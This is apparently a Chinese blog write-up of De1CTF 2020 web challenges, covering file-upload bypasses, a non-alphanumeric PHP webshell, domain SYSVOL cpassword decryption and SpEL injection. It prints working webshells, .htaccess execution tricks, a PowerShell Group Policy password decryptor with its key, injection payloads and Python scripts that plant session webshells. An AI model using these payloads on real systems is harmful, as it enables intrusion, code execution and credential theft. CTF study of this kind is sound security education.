• De1CTF 2020 部分web


    人在天台,感觉良好

    check in

    考点:配置文件上传

    相比之下最友好的一题了emmm
    在这里插入图片描述
    主要还是过滤了ph和>,然后是黑名单

    考虑上传htaccess,由于不能有ph,故用换行拼接:

    Addtype application/x-httpd-p
    hp .jpg
    

    一开始多加了个空格导致没正确解析
    然后图片马用短标签来绕过:
    在这里插入图片描述

    <?=eval($_POST[0]);
    

    相当于

    <?php echo eval($_POST[0]);
    

    在这里插入图片描述
    后来出题人说预期解是htaccess可以启用cgi,来执行bash脚本,如下:

    .htaccess

    Options +ExecCGI
    AddHandler cgi-script .sh
    

    solve.sh

    #!/bin/bash
    echo "Content-Type: text/plain"
    echo ""
    cat /flag
    exit 0
    

    Hard_Pentest_1

    考点:无字母数字shell,内网渗透

    源码如下

    <?php
    //Clear the uploads directory every hour
    highlight_file(__FILE__);
    $sandbox = "uploads/". md5("De1CTF2020".$_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    
    if($_POST["submit"]){
        if (($_FILES["file"]["size"] < 2048) && Check()){
            if ($_FILES["file"]["error"] > 0){
                die($_FILES["file"]["error"]);
            }
            else{
                $filename=md5($_SERVER['REMOTE_ADDR'])."_".$_FILES["file"]["name"];
                move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
                echo "save in:" . $sandbox."/" . $filename;
            }
        }
        else{
            echo "Not Allow!";
        }
    }
    
    function Check(){
        $BlackExts = array("php");
        $ext = explode(".", $_FILES["file"]["name"]);
        $exts = trim(end($ext));
        $file_content = file_get_contents($_FILES["file"]["tmp_name"]);
    
        if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content)  && 
            !in_array($exts, $BlackExts) && 
            !preg_match('/../',$_FILES["file"]["name"])) {
              return true;
        }
        return false;
    }
    ?>
    

    后缀不能为php,并且文件内容有匹配/[a-z0-9;~^&|]/is

    windows不区分大小写,然后无字母数字shell的话主要参考:
    https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
    不过这里过滤了分号,还是可以用短标签来绕过,如下:

    <?=$_=[]?><?=$_=@"$_"?><?=$_=$_['!'=='@']?><?=$___=$_?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?= $___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$____='_'?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$_=$$____?><?=$_[__]($_[_],$_[___])?>
    

    原理就是利用了array取值,然后逐次++,直到拼接到POST
    在这里插入图片描述
    上传之后需要写shell:

    __=file_put_contents&_=2.php&___=<?php eval($_POST[0]);
    

    在这里插入图片描述
    连上蚁剑后发现是windows系统
    在这里插入图片描述
    然后需要渗透,啊这......完全的薄弱项,只发现了一个flaghint压缩包:
    在这里插入图片描述
    其实应该是net use命令找到的hint,然后进入//192.168.0.12/hint/
    在这里插入图片描述

    在这里插入图片描述
    总之这个压缩包需要密码,在@Pdsdt师傅帮助下看了篇文章,是关于利用SYSVOL还原组策略中保存的密码的
    https://3gstudent.github.io/3gstudent.github.io/

    首先在每个域内都有一个共享的文件夹SYSVOL,路径为:
    \<domain>SYSVOL<domain>,所有域内主机都能访问,里面保存组策略相关数据

    ipconfig/all 可以查看当前主机的域为De1CTF2020.lab
    在这里插入图片描述
    进入共享文件夹:
    在这里插入图片描述
    然后需要找到相应的策略组id的配置文件,如下是配置文件Groups.xml
    在这里插入图片描述

    在这里插入图片描述
    其中cpassword为AES加密的密码,有现成的脚本,改一下密码即可

    function Get-DecryptedCpassword {
        [CmdletBinding()]
        Param (
            [string] $Cpassword 
        )
    
        try {
            #Append appropriate padding based on string length  
            $Mod = ($Cpassword.length % 4)
            
            switch ($Mod) {
            '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
            '2' {$Cpassword += ('=' * (4 - $Mod))}
            '3' {$Cpassword += ('=' * (4 - $Mod))}
            }
    
    
            $Base64Decoded = [Convert]::FromBase64String($Cpassword)
            
            #Create a new AES .NET Crypto Object
            $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
            [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
                                 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
            
            #Set IV to all nulls to prevent dynamic generation of IV value
            $AesIV = New-Object Byte[]($AesObject.IV.Length) 
            $AesObject.IV = $AesIV
            $AesObject.Key = $AesKey
            $DecryptorObject = $AesObject.CreateDecryptor() 
            [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
            
            return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
        } 
        
        catch {Write-Error $Error[0]}
    }  
    Get-DecryptedCpassword "uYgjj9DCKSxqUp7gZfYzo0F6hOyiYh4VmYBXRAUp+08"
    

    建一个ps1文件,然后:

    powershell -executionpolicy bypass -file 1.ps1
    

    在这里插入图片描述
    得到密码zL1PpP@sSwO3d
    在这里插入图片描述

    calc

    spring框架?emm不太熟悉javaweb
    在这里插入图片描述
    跟到http://106.52.164.141/spel/calc?calc=

    然后就硬测,肝了我好久,测了很多种表达式注入payload,不过过滤比较严格,像是T()、java.lang、Runtime、getClass、toString、new

    而网上大多数都是这种,基本都凉凉

    java.lang.Runtime.getRuntime().exec("calc")
    

    不过这篇文章给的payload还是比较全的,可以看一下:
    java表达式注入

    然后呢,其实这题可以直接新建对象读文件,我....****

    new可以用大写绕过,然后直接用这个BufferedReader和FileReader读文件

    (NEW java.io.BufferedReader(NEW java.io.FileReader("/flag"))).readLine()
    

    在这里插入图片描述
    java还是顶
    看了一下别人的wp,考虑到可能有大小写无法绕过的情况,那么可以用:

    ''.class.forName('java.nio.file.Files').readAllLines(''.class.forName('java.nio.file.Paths').get('/flag'))
    

    class.forName会自动加载字符串的类并初始化,这样就绕过了new了
    在这里插入图片描述
    https://drive.google.com/file/d/1lzLa6el8UYTqKKhnegGpS4lN7Edl7EOo/view

    Easy PHP UAF(unsolved)

    题目描述:Docker image is php:7.4.2-apache

    <?php
    error_reporting(0);
    if(isset($_GET['c'])) {
      eval($_GET['c']);
    }else {
      highlight_file(__FILE__);
    }
    

    源码很简单,由于版本比较高,不能用assert来连shell,然后看一下phpinfo禁用的函数
    在这里插入图片描述
    其实过滤的没那么严吧,然后里面过滤了scandir,可以考虑用glob://然后用next索引挨个列目录,脚本如下:

    import requests
    n='$it->next();'
    p='printf("%s: %.1FK<br />", $it->getFilename(), $it->getSize()/1024);'
    for i in range(1,20):
        url='http://129.204.185.9:8848/?c=$it = new DirectoryIterator("glob:///*");'
        url=url+n*(i-1)+p
        #print(url)
        print(requests.get(url).text)
    

    在这里插入图片描述
    然后想找别人留下的马骑的2333,可惜没找到,

    后来想到可以用session_start然后写入sess进行包含

    import requests
    n='$it->next();'
    p='printf("%s: %.1FK<br />", $it->getFilename(), $it->getSize()/1024);'
    for i in range(1,10):
        url='http://129.204.185.9:8848/?c=session_start();$_SESSION["b"]="|N;<?php eval($_POST[0]);?>";$it = new DirectoryIterator("glob:///tmp/*");'
        url=url+n*(i-1)+p
        #print(url)
        print(requests.get(url).text)
    

    成功写入
    在这里插入图片描述
    也能命令执行,不过这个session很快就会没
    在这里插入图片描述
    但是就是连不上蚁剑,唉,卡在这了
    在这里插入图片描述

  • 相关阅读:
    SVN导入maven项目
    jQuery (二)DOM 操作
    jQuery (一)选择器
    jQuery 初识
    mysql的OFFSET实现分页
    MongoDB学习之(三)增删查改
    java安全性的一种简单思路
    java Spring 事务的初次使用与验证
    C#语法之匿名函数和Lambda表达式
    C#语法之委托和事件
  • 原文地址:https://www.cnblogs.com/W4nder/p/12829102.html
Copyright © 2020-2023  润新知